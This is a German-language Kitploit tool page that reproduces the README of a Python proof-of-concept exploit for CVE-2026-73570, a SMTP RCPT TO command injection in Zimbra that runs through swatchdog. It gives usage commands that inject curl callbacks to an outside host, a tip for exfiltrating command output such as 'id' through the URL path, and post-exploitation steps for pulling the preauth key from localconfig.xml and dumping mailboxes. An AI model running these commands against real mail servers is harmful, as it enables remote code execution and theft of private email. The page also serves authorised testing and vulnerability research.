Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-73570 — Python-PoC für CVE-2026-73570, eine SMTP-Befehlsinjektion in Zimbra. Sendet manipulierte RCPT-TO-Payloads, um über swatchdog die Ausführung von Shell-Befehlen auszulösen, mit automatischem Port-Scanning und OOB-Verifizierung. | Kitploit
Tools/GitHubGitHub/jishino567/cve-2026-73570
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsE-Mail-Sicherheit
GitHubjishino567/cve-2026-73570

CVE-2026-73570

Python-PoC für CVE-2026-73570, eine SMTP-Befehlsinjektion in Zimbra. Sendet manipulierte RCPT-TO-Payloads, um über swatchdog die Ausführung von Shell-Befehlen auszulösen, mit automatischem Port-Scanning und OOB-Verifizierung.

Repository anzeigen
1vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-73570 PoC - SMTP-Befehlsinjektions-Tester

Ein benutzerdefiniertes, Low-Level-Python-Proof-of-Concept-Skript (PoC) zum Testen von SMTP-Befehlsinjektions-Schwachstellen (CVE-2026-73570).

Dieses Tool sendet eine fehlerhafte RCPT TO-Adresse, die eine Shell-artige Befehlsersetzung (z. B. $(command)) enthält, um festzustellen, ob der Ziel-Mailserver oder seine nachgelagerte Verarbeitungspipeline die Adresse unsachgemäß ohne Bereinigung durch eine Shell leitet.

⚠️ HAFTUNGSAUSSCHLUSS: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt. Stellen Sie sicher, dass Sie die ausdrückliche Erlaubnis haben, die Zielinfrastruktur zu testen. Unautorisierte Scans oder Ausnutzung von Mailservern sind illegal.

Bug-Informationen (Ziel: Zimbra)

Nicht jede Zimbra-Instanz ist verwundbar. Alle diese Bedingungen müssen erfüllt sein:

  1. Das optionale Paket zimbra-snmp ist installiert (wird bei der Installation oft angeboten).
  2. SNMP-Trap-Benachrichtigungen sind aktiviert (snmp_notify).
  3. Der Dienst swatchdog läuft (standardmäßig aktiviert).

Angriffsfläche: Der Angriff benötigt kein SNMP (UDP/161/162), das dem Angreifer ausgesetzt ist. Die bösartige Eingabe kommt über Standard-SMTP an.

Die Grundursache

Der Prozess swatchdog verfolgt /var/log/zimbra.log mithilfe der Konfiguration aus /opt/zimbra/conf/swatchrc.in. Er gleicht Log-Einträge aktiv mit den folgenden regulären Ausdrücken ab:

root@kitploit:~
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/

Die Erfassungsgruppe (.*) wird als Dienstname behandelt. Das Skript dosnmp interpoliert diesen erfassten Text dann direkt in einen Perl-Backtick-snmptrap-Befehl. Da Perl-Backticks über die System-Shell ausgeführt werden, werden alle in (.*) erfassten Shell-Metazeichen ausgewertet und ausgeführt.

Der Injektionsvektor

Angreifer bringen den bösartigen Text in das Log, indem sie einen SMTP-Befehl (wie RCPT TO) senden, dessen Argument wie eine echte Dienststatuszeile aussieht. Postfix protokolliert dies als illegale Adresssyntax, aber swatchdog gleicht den regulären Ausdruck in der Log-Zeile trotzdem ab und übergibt die Nutzlast an die Shell.


Funktionen

  • Benutzerdefinierter Low-Level-SMTP-Client: Umgeht die interne Adressvalidierung von Pythons Standard-smtplib, um rohe, nicht-RFC-konforme Nutzlasten genau so zu senden, wie ein Angreifer es tun würde.
  • Automatischer Port-Scan: Scannt automatisch nach offenen SMTP-Ports (25, 465, 587) und wählt einen verfügbaren aus.
  • Implizite SSL/TLS-Unterstützung: Handelt SSL/TLS automatisch aus, wenn Port 465 (SMTPS) als Ziel verwendet wird.
  • Benutzerdefinierte Nutzlast-Injektion: Akzeptiert beliebige Shell-Befehle über das --command-Flag.
  • Saubere CLI-Schnittstelle: Erstellt mit argparse für eine einfache Integration in Test-Workflows.

Voraussetzungen

  • Python 3.6+
  • Keine externen Abhängigkeiten erforderlich (verwendet nur die Python-Standardbibliothek)

Installation

Speichern Sie das Skript in einer Datei mit dem Namen CVE-2026-73570.py (oder einem beliebigen Namen Ihrer Wahl):

root@kitploit:~
# Beispiel: Datei herunterladen oder erstellen
nano CVE-2026-73570.py

Verwendung

Sie können das Skript je nach Ihrem Testszenario auf verschiedene Weise ausführen.

1. Automatischer Scan und Ausführung

Wenn Sie keinen Port angeben, scannt das Skript die Ports 25, 465 und 587 und zielt automatisch auf den ersten offenen Port.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"

2. Bestimmten Port anvisieren

Wenn Sie den Zielport bereits kennen (z. B. 465), können Sie das Scan-Raten überspringen.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"

3. Nur scannen (Aufklärung)

Wenn Sie nur prüfen möchten, welche Mail-Ports auf einem Ziel offen sind, ohne die Nutzlast zu senden.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only

Befehlszeilenargumente

ArgumentKurzformBeschreibungStandard
--host-HZiel-Host-IP oder -Domäne.127.0.0.1
--port-pZielport. Wenn weggelassen, scannt 25, 465, 587 und zielt auf einen offenen.None (Auto)
--command-cShell-Befehl, der in die SMTP-Nutzlast injiziert werden soll.TEST_PAYLOAD
--scan-only-sNur Ports scannen und beenden, ohne die Injektionsnutzlast zu senden.False

So verifizieren Sie den Exploit

Das alleinige Ausführen des Skripts beweist nur, dass der Mailserver die fehlerhafte RCPT TO-Adresse empfängt. Um die tatsächliche Befehlsinjektion zu bestätigen, ohne direkten Zugriff auf das Dateisystem oder die Logs des Ziels zu benötigen, verwenden Sie einen Out-of-Band (OOB)-Callback über HTTP.

  1. Listener einrichten: Gehen Sie zu requestrepo.com (oder verwenden Sie Burp Suite Collaborator / Webhook.site) und kopieren Sie Ihre eindeutige URL (z. B. http://xyz123.requestrepo.com).
  2. PoC ausführen: Führen Sie das Skript mit curl aus, um Ihre eindeutige URL zu treffen:
    root@kitploit:~
    python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
    
  3. Auf Callbacks prüfen: Aktualisieren Sie Ihr Request-Repo-Dashboard. Wenn Sie eine eingehende HTTP-GET-Anfrage sehen, war die Befehlsinjektion erfolgreich.

Pro-Tipp (Datenextraktion): Sie können die Ausgabe von Befehlen exfiltrieren, indem Sie sie in den URL-Pfad Ihres Callbacks injizieren:

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"

Prüfen Sie Ihr Request-Repo-Dashboard, um die Ausgabe uid=0(root) im angeforderten Pfad zu sehen.

⚠️ Wichtiger Hinweis: „Access Denied" bedeutet nicht „Patch angewendet"

Während des Tests erhalten Sie möglicherweise eine SMTP-Antwort wie diese:

root@kitploit:~
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied

Gehen Sie NICHT davon aus, dass die Schwachstelle fehlgeschlagen ist, nur weil die Adresse abgelehnt wurde.

Viele Mailserver (wie Postfix oder Exim) akzeptieren die Nutzlast während der SMTP-Transaktion syntaktisch, lehnen den Zustellversuch jedoch sofort ab, weil die Domäne/der Empfänger nicht in ihrer erlaubten Relay-Liste steht.

Die CVE-2026-73570-Schwachstelle wird nach dieser Ablehnung ausgelöst. Die bösartige Zeichenfolge fließt als Log-Eintrag mit illegaler Adresssyntax in /var/log/zimbra.log. swatchdog verfolgt dieses Log, gleicht die Nutzlast ab und übergibt sie an die Shell.

Da die Nutzlast diese Backend-Systeme zur Protokollierung trotzdem erreicht, wird die Befehlsersetzung ($()) weiterhin ausgeführt. Verlassen Sie sich immer auf Ihren OOB-Callback (z. B. Request Repo), um den Erfolg zu verifizieren, unabhängig vom SMTP-Antwortcode.

Post-Exploitation

Sobald die Befehlsausführung über die swatchdog-Injektion erreicht ist, arbeitet der Angreifer typischerweise als Benutzer zimbra. Von hier aus ist das primäre Ziel oft der Zugriff auf die Mailbox-Daten.

Um diesen nächsten Schritt zu erleichtern, können Sie zimbraKing verwenden – ein benutzerdefiniertes Tool zum Dumpen von Zimbra-Mailboxen.

  • Repository: https://github.com/jishino567/zimbraKing

Verwendungsszenario: Wenn Sie während Ihrer Post-Exploitation-Phase in der Lage sind, die Zimbra-Konfigurationsdateien zu lesen und den preAuthKey zu extrahieren (normalerweise in /opt/zimbra/conf/localconfig.xml unter dem Schlüssel zimbra_preauth_key zu finden) oder wenn Sie gültige Zimbra-Kontoanmeldedaten erhalten, können Sie diese in zimbraKing einspeisen.

Das Tool nutzt den preAuthKey oder die Kontoanmeldedaten, um sich gegen die Zimbra-SOAP-API zu authentifizieren und systematisch den Inhalt der Ziel-Mailbox zu dumpen, ohne direkt mit der zugrunde liegenden Datenbank oder dem Dateisystem interagieren zu müssen.

Warum nicht smtplib verwenden?

Pythons eingebautes smtplib erzwingt strenge RFC-Standards. Wenn Sie versuchen, eine Adresse mit ", $, ( und ) über smtplib.sendmail() zu übergeben, wird die Bibliothek die Zeichenfolge entweder verstümmeln, um sie „sicher" zu machen, oder eine SMTPRecipientsRefused-Ausnahme auslösen, bevor die Daten jemals das Netzwerk erreichen. Dieser benutzerdefinierte Client verwendet rohe Sockets, um eine bytegenaue Zustellung der Exploit-Nutzlast zu gewährleisten.

Tool herunterladen